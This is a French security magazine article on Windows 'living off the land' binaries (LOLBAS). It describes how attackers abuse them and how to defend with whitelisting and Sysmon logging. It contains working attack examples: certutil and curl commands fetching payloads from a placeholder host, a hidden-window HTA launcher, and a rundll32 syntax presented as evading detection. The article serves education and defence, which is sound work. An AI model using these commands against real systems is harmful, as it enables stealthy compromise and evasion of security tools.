Les lolbas, des amis qui vous veulent du bien

Magazine
Marque
MISC
Numéro
112
Mois de parution
novembre 2020
Spécialités


Résumé

Il existe des fichiers nativement présents sur Windows pouvant être détournés par un attaquant et ainsi être utilisés lors des différentes phases de compromission. Dans cet article, nous présenterons quelques cas d’utilisations de ces fichiers par des attaquants, ainsi que des solutions de prévention contre ces attaques.


Body

Les antivirus et EDR (Endpoint Detection and Response) utilisent de plus en plus les avantages du cloud pour se partager des indicateurs de malveillance sur les fichiers qui sont déposés sur les postes de leurs clients. Si tous les segments d’un fichier disposent d’une bonne réputation, alors ce fichier obtiendra un faible score de malveillance de la part des antivirus et EDR. En revanche, si le fichier est inconnu, il sera analysé plus en profondeur par les solutions de sécurité [1]. Pour éviter d’embarquer directement leur propre charge malveillante, les attaquants tentent de contrer cette nouvelle méthode d’analyse à l’aide du cloud, en basant leurs attaques sur les lolbas (Living Off The Land Binaries and Scripts (and also Libraries)).

1. Un lolbas, qu’est-ce que c’est ?

Les lolbas sont une grande famille composée entre autres de lolbins. Un lolbin, pour Living Off The Land Binaries, est un binaire (souvent signé et donc jugé légitime) présent nativement sur un OS ou suite à l’installation d’une application dont l’utilité première est détournée par un attaquant pour effectuer une ou plusieurs actions malveillantes. Par exemple, le binaire certutil.exe utilisé pour la gestion des certificats permet de télécharger un certificat. L’utilisation détournée de certutil.exe permet de télécharger sur le disque n’importe quel fichier. Avec la ligne de commandes suivante, il est possible de télécharger le fichier misc.exe hébergé sur domaine.tld :

certutil.exe -urlcache -split -f http://domaine.tld/misc.exe misc.exe

Par extension, les LOLBAS (Living Off The Land Binaries and Scripts (and also Libraries)), sont l’ensemble des binaires, scripts et librairies pouvant être détournés.

Le Lolbas Project [2] répertorie plus d’une centaine de lolbas avec un exemple pour chaque action possible. Ce projet a inspiré un autre projet du même type, qui répertorie l’ensemble des lolbins sous Unix : GTFOBins.

Suivant les lolbas, il est possible de télécharger un fichier sur le disque, d’exécuter un autre binaire, de contourner les politiques de restrictions logicielles, d’effectuer de l'exfiltration de données ou encore de compiler du code. Un attaquant est donc en mesure à partir de ces binaires et scripts légitimes de mettre en place des phases de compromission.

1.1 Comment trouver un lolbas ?

Une approche empirique peut être utilisée pour trouver un lolbas. La commande suivante permet de lister tous les binaires qui sont potentiellement des lolbins présents dans le répertoire C:\Windows et ses sous-répertoires :

dir /s C:\Windows\*.exe,C:\Windows\*.dll > candidats_lolbins.txt

Comment savoir ce que font ces binaires ? Pour cela, il est possible de :

  • regarder la section d’aide (si elle est présente) à l’aide de la commande : nom_du_binaire.exe /? ;
  • faire de la rétro-ingénierie sur le binaire ;
  • effectuer une recherche sur Internet (par exemple sur https://docs.microsoft.com/fr-fr/).

Même approche, pour les scripts présents (d’extension ps1, bat, vbs, etc.) sur une machine et pouvant être détournés.

1.2 Quelques exemples

Reprenons l'exemple de certutil.exe, ce binaire permettant de gérer les certificats. Sa section d’aide indique qu’il est également possible de décoder et d’encoder en base64 n’importe quel fichier.

certutil-s

Figure 1 : Encodage en base64 à l’aide de certutil.exe.

Être capable d’encoder et de décoder n’importe quel fichier permet à un attaquant de transporter plus facilement sa charge malveillante.

Autre exemple, le lolbin bitsadmin.exe permet de gérer des transferts de fichiers sous forme de tâches. Il est possible à l'aide de ce binaire de télécharger n’importe quel fichier sur le disque, mais aussi d’exécuter d’autres binaires lors de l’exécution d’une tâche.

bitsadmin-s

Figure 2 : Exécution de commandes depuis bitsadmin.exe.

2. Utilisations

2.1 Intérêt des lolbas

Hormis la possibilité d’effectuer diverses actions à l’aide des binaires présents sur l’OS, quel est l’intérêt des lolbas ?

Le principal intérêt parmi ceux cités concerne la furtivité.

2.1.1 Furtivité

Le fait d’utiliser certains binaires signés pour effectuer des actions malveillantes fait diminuer le score de malveillance produit par certains antivirus/EDR lors de l’analyse des actions de l’attaquant.

De plus, passer par des binaires présents sur la machine de la victime permet à un attaquant de dissimuler son activité parmi les activités de la victime. Aussi, bien souvent les binaires signés ne sont pas surveillés par les équipes de sécurité.

2.1.2 Contournement des restrictions logicielles

De nombreuses entreprises autorisent leurs collaborateurs à n’exécuter qu’une liste prédéfinie d’applications ou interdisent l’exécution de certaines applications.

Une fois en possession de cette liste, un attaquant identifierait les lolbas qui y sont présents pour mettre en place une attaque qui puisse contourner les restrictions en place.

2.1.3 Dépendances

L’utilisation des lolbas permet de s’affranchir de potentielles dépendances à des librairies externes. Si le lolbas est présent sur la machine de la victime alors les dépendances sont certainement présentes également. La charge malveillante initiale de l’attaquant devient alors allégée, ce qui permet de la dissimuler et la véhiculer plus facilement.

2.2 Exemple du malware Astaroth

Certains lolbas permettent de passer plus facilement sous les radars des Antivirus/EDR et des équipes de sécurité. C’est un point que les attaquants ont compris. Le malware Astaroth est apparu en 2018 à travers une campagne de spams ciblant les Européens et les Brésiliens. Une des particularités de ce malware est qu’il base son attaque sur des lolbins. La figure 3 explique le déroulement de l’attaque en précisant les lolbins utilisés.

malware-s

Figure 3 : Cinématique d’attaque du malware Astaroth.

Après avoir été détecté par les équipes de sécurité, le malware Astaroth a évolué et utilise maintenant d’autres lolbins pour mettre en place son attaque :

Version du malware

2018-2019

2020

Principaux lolbas
utilisés

wmic.exe, bitsadmin.exe, certutil.exe,
regsvr32.exe

explorer.exe, bitsadmin.exe,
ExtExport.exe

Avec plus de 110 lolbas publiquement connus, le nombre d’attaques possibles se basant uniquement sur des lolbins est important et pourrait le devenir encore plus.

2.3 Cas pratiques

Supposons qu’un attaquant souhaite compromettre la machine d’un collaborateur d’une entreprise en se basant sur les lolbins présents sur le poste de sa victime. La section suivante présente deux phases du chemin de compromission en commençant par l’accès initial à la machine.

Bien que largement connus, les exemples suivants permettent de donner une idée des actions possibles avec des lolbas.

2.3.1 Accès initial

Un des moyens d’obtenir un accès initial est l’envoi d’un mail malveillant. En envoyant un mail avec, par exemple une archive contenant un fichier qui à son ouverture fera appel à un lolbin, il est possible d’exécuter des commandes et ainsi obtenir un accès initial. Voici un exemple d’un tel lolbin :

Le lolbin mshta.exe est appelé par défaut lorsqu’un utilisateur souhaite ouvrir un fichier Microsoft HTML Applications (HTA) d’extension .hta. Il est possible à l’aide d’un code VBScript contenu dans le fichier .hta d’exécuter des commandes à l’ouverture du fichier.

Le fichier .hta suivant permet de faire appel à calc.exe depuis l’interprétation du script VBScript au chargement du fichier par mshta.exe.

<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
Orange CyberDefense
</body>
</HEAD>
</HTML>

Les fichiers d’extension .hta (ou encore les fichiers .chm liés au lolbin hh.exe) font partie d’une liste de fichiers d’extensions considérées comme malveillantes par certains services de messagerie en ligne [3], les pièces jointes contenant de tels fichiers sont automatiquement bloquées. Cependant parmi les entreprises qui gèrent leur propre service de messagerie, certaines n’appliquent pas de règles de restrictions sur ces extensions.

2.3.2 Exécution de commandes

Une fois l’accès initial obtenu, l’attaquant souhaite par exemple télécharger et exécuter un ransomware sur le poste de sa victime. Parmi les lolbins permettant de télécharger des fichiers, on a vu précédemment bitsadmin.exe et certutil.exe. Le binaire curl.exe (disponible uniquement sur certaines versions Windows) permet également de télécharger des fichiers sur le disque.

curl.exe -O http://domaine.tld/misc.exe

Cependant, bien souvent en entreprise, la configuration des proxys/équipements de sécurité empêche tout téléchargement de binaires sur les postes des employés.

Il est alors possible de télécharger le code source de son binaire et le compiler à l’aide des lolbins présents sur la machine de la victime. En effet, le lolbin ilasm.exe, par exemple, permet de compiler du code C# et de générer des exécutables ou des DLL.

ilasm.exe C:\Public\code.txt /dll

Une fois, la DLL générée, il est possible de l’exécuter à l’aide du lolbin rundll32.exe.

Syntaxe classique :

rundll32.exe misc.dll,<EntryPoint>

Syntaxe découverte récemment [4] :

rundll32.exe advpack.dll, #12 misc.dll

L’intérêt d’utiliser une syntaxe différente est de pouvoir contourner les mécanismes de sécurité ayant une détection syntaxique trop fine.

Pouvoir compiler du code sur la machine de la victime est intéressant, car cela permet de contourner des restrictions et d’apporter des binaires non présents sur le poste. Cela peut être intéressant également dans le cas où l’exécution de powershell.exe est interdite. En effet, il est possible d’exécuter du Powershell depuis du code C# à partir de l’espace de noms System.Management.Automation [5].

3. Détections et recommandations

Contrer l’utilisation des lolbas par les attaquants n’est pas une tâche facile. Une première solution est de mettre en place une politique de restrictions logicielles pour ainsi réduire au strict nécessaire les applications autorisées à s’exécuter sur le poste d’un collaborateur.

3.1 Politique de restriction logicielle

Microsoft propose deux solutions de restrictions logicielles : Windows Defender Application Control et AppLocker [6]. Ces solutions peuvent être utilisées conjointement et permettent ainsi de limiter, contrôler et auditer les applications et scripts lancés par les utilisateurs, sur la base de règles définies par les administrateurs.

Lors de la mise en place d’une politique de restrictions logicielles, deux approches sont possibles :

  • définir une liste noire d’applications dont l’exécution sera interdite, l’exécution des autres applications étant par défaut autorisée ;
  • bloquer par défaut l’exécution de toutes les applications et n’autoriser que certaines applications en liste blanche à s’exécuter.

De nouveaux lolbas sont régulièrement découverts, c’est pourquoi la seconde approche, se basant sur une liste blanche d’applications et scripts autorisés à s’exécuter, est à privilégier.

Les règles peuvent s’appliquer sur l’exécution d'applications, de paquets d’installation Windows, ou de scripts à partir des éléments suivants :

  • certificat : il est possible de baser une décision d’accès sur le certificat utilisé par l’éditeur pour signer numériquement son produit ;
  • chemins d’accès : cela permet d’appliquer une règle à tous les exécutables d’un répertoire ;
  • condensat cryptographique (« hash ») : l’élément soumis à la règle est identifié à partir de son empreinte. Cela protège de l’exécution, quel que soit le répertoire depuis lequel l’exécutable est lancé.

Avant de mettre en place toute politique de restrictions logicielles, il est important d’effectuer un recensement des applications utilisées sur le parc informatique de l’entreprise ainsi que les librairies nécessaires à leur bon fonctionnement.

Une attention particulière doit être portée dans le choix des règles de restrictions. Par exemple, si la règle appliquée n’autorise que l’exécution des binaires présents dans C:\Windows, il est possible de contourner cette règle en compilant son binaire dans un des sous-répertoires accessibles en écriture par tout utilisateur (par exemple C:\Windows\Temp).

Convenablement configurées [7], les règles de restrictions logicielles basées sur une liste blanche permettent d’atteindre un niveau de sécurité satisfaisant.

3.2 Journalisation des lolbas

Pour parfaire votre sécurité vis-à-vis des lolbas, il est possible de journaliser l’utilisation qui est faite des applications pouvant amener à la compromission d’une machine de votre parc.

Si les contraintes de production obligent la non-restriction d’un lolbin, il est possible de surveiller les arguments de ce dernier. En effet, si un binaire ne doit pas interagir avec l'extérieur, et que lors de son utilisation, il contient un argument avec un chemin externe (« http:// », ou « https:// » par exemple), cette utilisation suspecte doit être remontée aux équipes de sécurité.

Pour journaliser la création de processus et les lignes de commande associées, il est par exemple possible :

  • soit d’utiliser l’évènement Windows 4688. Par défaut, les lignes de commandes associées à une création de processus ne sont pas récoltées. Il est important d’activer les deux éléments ;
  • soit d’utiliser l’outil Sysinternals, Sysmon. L’audit de création de processus est associé à l’évènement d’identifiant 1.

La seconde option est à privilégier, en effet l’évènement Sysmon d’identifiant 1 permet de récupérer beaucoup plus d’informations dans un seul et unique évènement.

Ci-dessous un événement Sysmon montre l’exécution du lolbin rundll32.exe exécutant à son tour le binaire calc.exe.

rundll32.exe advpack.dll, #12 calc.exe

On y retrouve la ligne de commandes de création du processus, le chemin d’exécution, l’utilisateur propriétaire du processus ou encore le hash du fichier issu du processus créé (ici le hash du fichier calc.exe).

Le hash du fichier peut ensuite être utilisé pour l’investigation par les équipes de sécurité ou pour appliquer une restriction d’utilisation sur tout le parc de l’entreprise.

process creation sysmon-s

Figure 4 : Informations remontées par un événement Sysmon d’identifiant 1.

Conclusion

Régulièrement de nouveaux lolbas sont découverts, il est important de se tenir au courant des dernières découvertes. Une telle veille peut être effectuée sur Twitter, sous les hashtags #lolbins, #lolbas ou sur des blogs traitant régulièrement sur ce sujet tels que https://hexacorn.com/.

Se prémunir face aux lolbas est une tâche relativement complexe, mais mettre en place une politique de restrictions logicielles par liste blanche et journaliser les applications autorisées à s’exécuter permet de réduire grandement les possibilités d’un attaquant.

Remerciements

Mes remerciements à toutes les personnes d’Orange Cyberdefense (en particulier Elias ISSA, Slim MERIAH et Joël HIEN) pour leurs conseils et relectures.

Références

[1] https://docs.microsoft.com/fr-fr/windows/security/threat-protection/microsoft-defender-antivirus/detect-block-potentially-unwanted-apps-microsoft-defender-antivirus

[2] https://lolbas-project.github.io/

[3] https://support.google.com/mail/answer/6590?hl=fr

[4] http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/

[5] https://docs.microsoft.com/en-us/archive/blogs/kebab/executing-powershell-scripts-from-c

[6] https://docs.microsoft.com/fr-fr/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control

[7] https://www.ssi.gouv.fr/uploads/2013/12/np_applocker_notetech-v2.pdf



Articles qui pourraient vous intéresser...

Retours d’un hackathon 5G

Magazine
Marque
MISC
Numéro
115
Mois de parution
mai 2021
Spécialités
Résumé

Encore insouciant de la crise qui allait frapper le monde fin 2019, un hackathon de 24h a eu lieu à l’université d’Oulu [1] en Finlande afin d’anticiper les attaques sur les futures installations 5G de manière pratique. Nous verrons dans cet article comment il a été possible d’avoir la main sur la quasi-totalité d’un réseau 5G privé comme celui du campus d’Oulu à partir d’une carte USIM et d’un téléphone 5G. Puis, nous verrons d’autres perspectives en termes de tests d’intrusion avec les outils publics actuels.

GitHub Actions pour l'outillage offensif

Magazine
Marque
MISC
Numéro
115
Mois de parution
mai 2021
Spécialités
Résumé

De nombreux outils disponibles sur GitHub sont publiés et mis à jour régulièrement, mais la parution de leurs binaires pour une plateforme interne laisse parfois à désirer. Les missions de Red Team requièrent de plus en plus le besoin de paramétrer les charges et outils afin de baisser leurs taux de détection par les antivirus et EDR. Cet article propose une solution simple à ces deux problématiques en utilisant GitHub Actions.

Exploration du standard HITAG2 utilisé pour le verrouillage des véhicules grâce à la SDR

Magazine
Marque
MISC
Numéro
114
Mois de parution
mars 2021
Spécialités
Résumé

Depuis de nombreuses années, l’ouverture des véhicules ne se fait plus en insérant une clé dans une serrure mécanique comme c’était le cas auparavant. Le verrouillage, et même parfois l’allumage des phares, peuvent être réalisés à partir d’une transmission radio entre la clé et le véhicule. Cette fonctionnalité, devenue essentielle, doit nous questionner sur la sécurité mise en œuvre. Nous allons voir que jusqu’à récemment, beaucoup de systèmes de verrouillage déployés sont vulnérables à des attaques peu sophistiquées qui nécessitent peu de moyens.

Introduction au pentesting

Magazine
Marque
Linux Pratique
HS n°
Numéro
50
Mois de parution
février 2021
Spécialités
Résumé

Il n’y a plus une semaine sans qu’une grande entreprise ne révèle publiquement qu’elle a été victime d’un piratage informatique. Entreprises privées, institutions publiques, et même sociétés de services spécialisées dans la cybersécurité, aucun secteur n’est épargné. Des technologies en évolution et en augmentation perpétuelles, et la prolifération incessante d’équipements connectés (IoT) ne vont pas inverser la tendance, mais bien au contraire élargir la surface d’attaque et donc augmenter les piratages.